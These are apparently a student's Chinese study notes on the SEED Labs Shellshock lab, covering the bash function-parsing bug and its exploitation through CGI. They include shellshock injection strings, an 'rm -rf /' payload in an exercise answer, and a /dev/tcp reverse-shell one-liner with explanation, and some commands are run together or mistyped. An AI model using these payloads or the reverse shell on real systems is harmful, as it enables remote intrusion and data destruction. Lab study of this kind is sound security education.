seed-labs 软件部分- shellshock

  • shellshock
    • 背景
    • shellshock 漏洞
      • 定义
      • 漏洞
      • bash源码中的错误
      • shellshock漏洞利用
    • 利用shellshock攻击CGI程序
      • web服务器调用CGI程序
      • 反向shell
    • problems

shellshock

背景

Shell程序是操作系统中的命令行解释器
提供用户和操作系统之间的接口
不同类型的shell:sh、bash、csh、zsh、windows powershell等
bashshell是Linux操作系统中最流行的shell程序之一
shellshock漏洞与shell函数有关。
declare 可以将shell函数打印出来

foo() { echo "hello world"; }
[06/02/21]seed@VM:~/shellshock$ declare -f foo
foo ()
{ echo "hello world"
}
[06/02/21]seed@VM:~/shellshock$ export -f foo
[06/02/21]seed@VM:~/shellshock$ bash
[06/02/21]seed@VM:~/shellshock$ declare -f foo
foo ()
{ echo "hello world"
}

这两种方法是相似的。它们都使用环境变量。
程序:
在第一种方法中,当父shell创建新进程时,它将每个导出的函数定义作为环境变量传递。
如果子进程运行bash,bash程序将把环境变量转换回函数定义,就像在第二个方法中定义的那样。
第二种方法不要求父进程是shell进程。
任何需要将函数定义传递给子bash进程的进程都可以简单地使用环境变量。

shellshock 漏洞

定义

名为Shellshock或bashdoor的漏洞已于2014年9月24日公开发布。此漏洞被分配为CVE-2014-6271
此漏洞利用了bash在将环境变量转换为函数定义时犯下的错误
自1989年8月5日以来,发现的bug一直存在于gnubash源代码中
在识别出这个bug之后,在广泛使用的bash shell中发现了其他几个bug
Shellshock是指在bash中发现的一系列安全漏洞

漏洞

[06/02/21]seed@VM:~/shellshock$ foo='() { echo "hello world"; }; echo "extra";'
[06/02/21]seed@VM:~/shellshock$ echo $foo
() { echo "hello world"; }; echo "extra";
[06/02/21]seed@VM:~/shellshock$ bash_shellshock  ##echo "extra" 额外的漏洞被执行了。当一个子bash进程被创建时。子shell将会解析为该变量,把它转化为函数定义,所以由于shellshock漏洞,bash 将执行括号后的额外命令
[06/02/21]seed@VM:~/shellshock$ export foo
[06/02/21]seed@VM:~/shellshock$ bash_shellshock
[06/02/21]seed@VM:~/shellshock$ echo $foo

bash源码中的错误

shellshock bug从bash源代码的variables.c文件开始,下面是一部门源码

在这个代码中,在第行①, bash通过检查环境变量的值是否以“(){”开头来检查是否有导出的函数。一旦找到,bash将用空格替换“=”。
Bash然后调用函数parse和execute()②) 解析函数定义。不幸的是,这个函数可以解析其他shell命令,而不仅仅是函数定义
如果字符串是函数定义,函数将只解析它而不执行它
如果字符串包含shell命令,函数将执行它。

shellshock漏洞利用


利用shellshock漏洞攻击需要满足2个条件,首先,必须运行bash,其次,攻击者只能通过环境变量把攻击数据传给目标进程,

利用shellshock攻击CGI程序

公共网关接口(CGI)被web服务器用来运行动态生成web页面的可执行程序。
许多CGI程序使用shell脚本,如果使用bash,它们可能会受到shell攻击
其中apache ,c,python都是支持CGI的, 提供的seedlabs环境包含了apache ,所以我们可以直接用

sudo vi /usr/lib/cgi-bin/test.cgi#!/bin/bashecho "Content-type: text/plain"
echo
echo
echo "Hello World"sudo chmod 755 test.cgi

最后就可以访问

[06/03/21]seed@VM:~/shellshock$ curl http://10.0.2.15/cgi-bin/test.cgiHello World

web服务器调用CGI程序

当用户向apacheweb服务器发送cgiurl时,Apache将检查请求
如果是CGI请求,Apache将使用fork()启动一个新进程,然后使用exec()函数执行CGI程序
因为我们的CGI程序是以“#”/bin/bash”,exec()实际执行/bin/bash,然后运行shell脚本

反向shell

攻击者现在可以运行他们喜欢的任何命令,并在他们的机器上得到输出。

不用运行/bin/ls,我们可以运行/bin/bash。但是,/bin/bash命令是交互式的。

如果我们只是将/bin/bash放在我们的漏洞中,bash将在服务器端执行,但我们无法控制它。因此,我们需要做一些叫做反向shell的事情。

反向shell的关键思想是将标准的输入、输出和错误设备重定向到网络连接。

通过这种方式,shell从连接获取输入并输出到连接。攻击者现在可以运行他们喜欢的任何命令并在他们的机器上获得输出。

反向shell是许多攻击使用的一种非常常见的黑客技术。
反向shell的关键是重定向标准输入,输出和错误设备到一个网络连接,此后,shell就可以从网络连接那里获得输入,也可以将输出写入这个网络连接,
在攻击者端可以

server(192.168.31.161):$ /bin/bash -i > /dev/tcp/10.0.2.15/9090/ 0<&1 2>$1
/bin/bash -i : -i 意味着使用shell的可交互模式,shell在这个模式下会提供提示符>/dev/tcp/10.0.2.15/9090  shell 的输出设备stdout被重定向到tcp连接,10.0.2.15 9090 端口,文件描述符是1
>0<&1 0 代表输入设备,这是表示,将标准输出设备也作为标准输入设备。重定向至TCP连接,
TCP连接是个双向设备,既可以写,也可往外读2>&1 文件描述符2代表标准错误,这使得错误输出被重定向至stdout

problems

地址 handsonsecurity.net/files/problems/Shellshock_ex.pdf1.在修复漏洞之前,子进程中将不存在该变量,但会有一个变量名为的函数,函数体将是该变量的值。
修复漏洞后,子shell将具有与父shell相同的变量。2、父shell创建进程时,会将每个导出的函数作为环境变量传递。当子进程运行bash(或者子进程本身是bash)时,它将解析环境变量并将其转换回函数。这是因为子进程获取父环境变量的副本。3、seed@ubuntu:~$ export foo='() { echo Hello World; }; rm -rf /'
seed@ubuntu:~$ bash
rm: it is dangerous to operate recursively on `/'
rm: use --no-preserve-root to override this failsafe4、seed@ubuntu:~$ export foo='echo world; () { echo hello;}'
seed@ubuntu:~$ bashseed@ubuntu:~$ foo
foo: command not found
seed@ubuntu:~$ echo $foo
echo world; () { echo hello;}5、 1.目标进程应该运行bash。2.进程必须从外部获取一些环境变量,例如不受信任的用户。6、像Apache这样的web服务器将客户端头信息(如用户代理)作为环境变量传递给它们调用的CGI程序。例如,通过手动设置用户代理字段,我们可以确保在远程计算机上有一个环境变量,该变量的值由我们选择。7、不存在。bash漏洞的存在是因为它在环境变量的值的开头查找字符串“(){”,如果匹配,它会将其视为函数并继续对其进行解析。bash看起来不像函数定义,它将把它当作一个简单的字符串,而不运行命令。8、
nc-L7070将监听端口7070上的传入连接。/bin/cat命令很奇怪 /dev。。。将接受来自远程机器的输入,但将其输出回STDIN,这种情况下是远程机器。
所以在机器1中输入的任何内容都会在屏幕上回响。9、Machine2:
$ nc -l 7070Machine3:
$ nc -l 7070Machine 1:
$ /bin/cat < /dev/tcp/Machine2/7070 > /dev/tcp/Machine3/7070

seed-labs 软件部分-shellshock相关推荐

  1. SEED Labs信息安全实验

    1.1  SEED Labs 介绍 SEED Labs是一套完整的信息安全实验,涵盖本科信息安全教学中的大部分基本原理,可用于提高学生体验式学习的实验室练习.项目组2002年由杜文亮教授创建,目前开发 ...

  2. SEED实验系列:ShellShock 攻击实验

    实验楼课程原文链接:https://www.shiyanlou.com/courses/230,内容能够得到你的喜欢,我们感到非常高兴的,也十分欢迎您分享转载,转载请保留实验楼课程原文链接. 一. 实 ...

  3. SEED LABS初入

    SEED LABS初入及实验环境配置 1.什么是SEED LABS? SEED LABS是一系列的网络安全实验,其基本囊括了信息安全本科生所涉及到的几乎每个方面,例如软件安全,Web安全,密码学安全等 ...

  4. 【SEED Labs 2.0】Packet Sniffing and Spoofing Lab

    本文为 SEED Labs 2.0 - Packet Sniffing and Spoofing Lab 的实验记录. 文章目录 实验原理 Lab Task Set 1: Using Scapy to ...

  5. 【SEED Labs 2.0】ARP Cache Poisoning Attack Lab

    本文为 SEED Labs 2.0 - ARP Cache Poisoning Attack Lab 的实验记录. 文章目录 实验原理 Task 1: ARP Cache Poisoning Task ...

  6. 【SEED Labs 2.0】V*N Tunneling Lab

    本文为 SEED Labs 2.0 - V*N Tunneling Lab 的实验记录. 文章目录 实验原理 Task 1: Network Setup Task 2: Create and Conf ...

  7. Virtual Box Ubuntu16.04中导入SEED LABS虚拟机后无法全屏显示

    问题描述: 近期在做相关实验的过程中遇到了一个问题,就是在Virtual Box导入虚拟机SEED LABS后无法全屏显示,前提是我已经按照平常的安装虚拟机的方法安装了增强功能,但是还是无法全屏显示. ...

  8. 【SEED Labs 2.0】Buffer-Overflow Attack

    本文为 SEED Labs 2.0 - Buffer-Overflow Attack Lab (Server Version) 的实验记录. 实验原理 Task1: Get Familiar with ...

  9. 【SEED Labs 2.0】Virtual Private Network (V*N) Lab

    本文为 SEED Labs 2.0 - Virtual Private Network (V*N) Lab 的实验记录. 文章目录 0. 实验目标 1. 生成证书 2. 设置 Docker 3. 编写 ...

最新文章

  1. 《Bigtable:a distributed storage system for struct data》笔记
  2. Python进阶8---面向对象基础1
  3. C++ Primer 5th笔记(chap 14 重载运算和类型转换)重载运算概述
  4. python当用户输入的不是整数_当用户输入字符串而不是整数时,如何保护我的python代码?...
  5. 判断一个数组中的值是否在另一个数组中
  6. [译] 机器学习可以建模简单的数学函数吗?
  7. 使用 Azure Web 应用防火墙拦截黑客攻击
  8. 技术分享 | 使用 mPaaS 配置 SM2 国密加密指南
  9. C++中map的用法详解
  10. c# Winform 开发分屏显示应用程序
  11. VS2010-MFC(菜单:VS2010菜单资源详解)
  12. 蜻蜓和蝉c语言,趣味数学:蜻蜓、蜘蛛、蝉它们的翅膀和腿
  13. 优矿量化如何完成Alpha对冲模型测试?
  14. 大学学python用记笔记吗_python笔记(1)-关于我们应不应该继续学习
  15. 像素级分层语义图像分割
  16. Adobe Photoshop 自动化 脚本
  17. LJ2200部分软件空白打印问题解决
  18. matlab统计分析具体步骤,Matlab数据的统计分析与描述
  19. 利用visio 画思维导图
  20. 使用java实现冒泡排序(Java练习)

热门文章

  1. python中对数函数怎么表示
  2. GNSS测量与数据处理复习资料(1-5)
  3. co01设置错误消息_sw2014打开装配体,提示数据库设置错误
  4. android 点击屏幕其它地方隐藏输入法
  5. FMS/AMS5安装后的简单应用和配置注意事项
  6. 重邮计算机专业取得奖项,重庆邮电大学移通学院学子在2019中国大学生计算机设计大赛全国总决赛中喜获四项国家级奖励...
  7. 如何实现一个乞丐版JSBox (一) 引擎篇
  8. 22-08-25 MySQL高级(03)MySQL索引、索引演绎、适合加索引的情况、执行计划Explain各字段解释
  9. 多人在线斗地主游戏开发——自定义TCP网络通信协议包格式
  10. 服务器网卡默认都支持PXE吗,关于以太网网卡密码之PXE无盘启动(一)